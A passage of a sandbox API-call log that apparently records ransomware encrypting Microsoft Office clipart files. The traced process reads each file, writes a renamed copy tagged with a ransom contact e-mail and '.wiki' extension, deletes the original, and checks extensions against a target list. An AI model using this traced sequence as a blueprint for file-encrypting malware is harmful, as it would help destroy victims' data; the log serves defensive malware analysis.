dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.288] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.288] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.289] GetLastError () returned 0x0 [0189.289] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1234, lpOverlapped=0x0) returned 1 [0189.290] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1240, lpOverlapped=0x0) returned 1 [0189.291] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.291] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.291] SetEndOfFile (hFile=0x220) returned 1 [0189.291] CloseHandle (hObject=0x220) returned 1 [0189.291] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.291] SetEndOfFile (hFile=0x1e0) returned 1 [0189.292] CloseHandle (hObject=0x1e0) returned 1 [0189.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.293] lstrlenW (lpString=".doc") returned 4 [0189.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.293] lstrlenW (lpString=".docx") returned 5 [0189.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.293] lstrlenW (lpString=".pdf") returned 4 [0189.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.293] lstrlenW (lpString=".xls") returned 4 [0189.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.293] lstrlenW (lpString=".xlsx") returned 5 [0189.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.293] lstrlenW (lpString=".ppt") returned 4 [0189.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.293] lstrlenW (lpString=".zip") returned 4 [0189.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.293] lstrlenW (lpString=".rar") returned 4 [0189.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.293] lstrlenW (lpString=".bz2") returned 4 [0189.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.293] lstrlenW (lpString=".7z") returned 3 [0189.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.293] lstrlenW (lpString=".dbf") returned 4 [0189.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.294] lstrlenW (lpString=".1cd") returned 4 [0189.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.294] lstrlenW (lpString=".jpg") returned 4 [0189.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.294] lstrlenW (lpString=".doc") returned 4 [0189.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.294] lstrlenW (lpString=".docx") returned 5 [0189.294] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.294] lstrlenW (lpString=".pdf") returned 4 [0189.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.294] lstrlenW (lpString=".xls") returned 4 [0189.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.294] lstrlenW (lpString=".xlsx") returned 5 [0189.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.294] lstrlenW (lpString=".ppt") returned 4 [0189.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.294] lstrlenW (lpString=".zip") returned 4 [0189.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.294] lstrlenW (lpString=".rar") returned 4 [0189.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.294] lstrlenW (lpString=".bz2") returned 4 [0189.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.294] lstrlenW (lpString=".7z") returned 3 [0189.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.294] lstrlenW (lpString=".dbf") returned 4 [0189.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.295] lstrlenW (lpString=".1cd") returned 4 [0189.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0189.295] lstrlenW (lpString=".jpg") returned 4 [0189.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.295] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.295] lstrlenW (lpString="FD02116_.WMF") returned 12 [0189.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.295] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3988) returned 1 [0189.295] CloseHandle (hObject=0x1e0) returned 1 [0189.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0189.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.296] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.296] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.296] GetLastError () returned 0x0 [0189.296] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xf94, lpOverlapped=0x0) returned 1 [0189.298] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0189.299] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.299] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.299] SetEndOfFile (hFile=0x220) returned 1 [0189.299] CloseHandle (hObject=0x220) returned 1 [0189.299] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.299] SetEndOfFile (hFile=0x1e0) returned 1 [0189.300] CloseHandle (hObject=0x1e0) returned 1 [0189.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0189.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.301] lstrlenW (lpString=".doc") returned 4 [0189.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.301] lstrlenW (lpString=".docx") returned 5 [0189.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.301] lstrlenW (lpString=".pdf") returned 4 [0189.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.301] lstrlenW (lpString=".xls") returned 4 [0189.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.301] lstrlenW (lpString=".xlsx") returned 5 [0189.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.301] lstrlenW (lpString=".ppt") returned 4 [0189.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.301] lstrlenW (lpString=".zip") returned 4 [0189.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.301] lstrlenW (lpString=".rar") returned 4 [0189.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.301] lstrlenW (lpString=".bz2") returned 4 [0189.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.301] lstrlenW (lpString=".7z") returned 3 [0189.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.301] lstrlenW (lpString=".dbf") returned 4 [0189.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.301] lstrlenW (lpString=".1cd") returned 4 [0189.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.301] lstrlenW (lpString=".jpg") returned 4 [0189.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.301] lstrlenW (lpString=".doc") returned 4 [0189.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.302] lstrlenW (lpString=".docx") returned 5 [0189.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.302] lstrlenW (lpString=".pdf") returned 4 [0189.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.302] lstrlenW (lpString=".xls") returned 4 [0189.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.302] lstrlenW (lpString=".xlsx") returned 5 [0189.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.302] lstrlenW (lpString=".ppt") returned 4 [0189.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.302] lstrlenW (lpString=".zip") returned 4 [0189.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.302] lstrlenW (lpString=".rar") returned 4 [0189.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.302] lstrlenW (lpString=".bz2") returned 4 [0189.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.302] lstrlenW (lpString=".7z") returned 3 [0189.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.302] lstrlenW (lpString=".dbf") returned 4 [0189.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.302] lstrlenW (lpString=".1cd") returned 4 [0189.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0189.302] lstrlenW (lpString=".jpg") returned 4 [0189.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.302] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.303] lstrlenW (lpString="FD02141_.WMF") returned 12 [0189.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.303] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2636) returned 1 [0189.303] CloseHandle (hObject=0x1e0) returned 1 [0189.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0189.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.303] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.303] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.304] GetLastError () returned 0x0 [0189.304] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0189.305] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0189.306] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.306] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.487] SetEndOfFile (hFile=0x220) returned 1 [0189.487] CloseHandle (hObject=0x220) returned 1 [0189.487] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.487] SetEndOfFile (hFile=0x1e0) returned 1 [0189.488] CloseHandle (hObject=0x1e0) returned 1 [0189.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0189.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.488] lstrlenW (lpString=".doc") returned 4 [0189.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.488] lstrlenW (lpString=".docx") returned 5 [0189.488] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.488] lstrlenW (lpString=".pdf") returned 4 [0189.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.489] lstrlenW (lpString=".xls") returned 4 [0189.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.489] lstrlenW (lpString=".xlsx") returned 5 [0189.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.489] lstrlenW (lpString=".ppt") returned 4 [0189.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.489] lstrlenW (lpString=".zip") returned 4 [0189.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.489] lstrlenW (lpString=".rar") returned 4 [0189.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.489] lstrlenW (lpString=".bz2") returned 4 [0189.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.489] lstrlenW (lpString=".7z") returned 3 [0189.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.489] lstrlenW (lpString=".dbf") returned 4 [0189.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.489] lstrlenW (lpString=".1cd") returned 4 [0189.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.489] lstrlenW (lpString=".jpg") returned 4 [0189.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.489] lstrlenW (lpString=".doc") returned 4 [0189.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.490] lstrlenW (lpString=".docx") returned 5 [0189.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.490] lstrlenW (lpString=".pdf") returned 4 [0189.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.490] lstrlenW (lpString=".xls") returned 4 [0189.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.490] lstrlenW (lpString=".xlsx") returned 5 [0189.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.490] lstrlenW (lpString=".ppt") returned 4 [0189.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.490] lstrlenW (lpString=".zip") returned 4 [0189.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.490] lstrlenW (lpString=".rar") returned 4 [0189.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.490] lstrlenW (lpString=".bz2") returned 4 [0189.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.490] lstrlenW (lpString=".7z") returned 3 [0189.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.490] lstrlenW (lpString=".dbf") returned 4 [0189.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.490] lstrlenW (lpString=".1cd") returned 4 [0189.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0189.490] lstrlenW (lpString=".jpg") returned 4 [0189.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.491] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.491] lstrlenW (lpString="HH00443_.WMF") returned 12 [0189.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.491] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3298) returned 1 [0189.491] CloseHandle (hObject=0x1e0) returned 1 [0189.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0189.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.491] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.491] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), 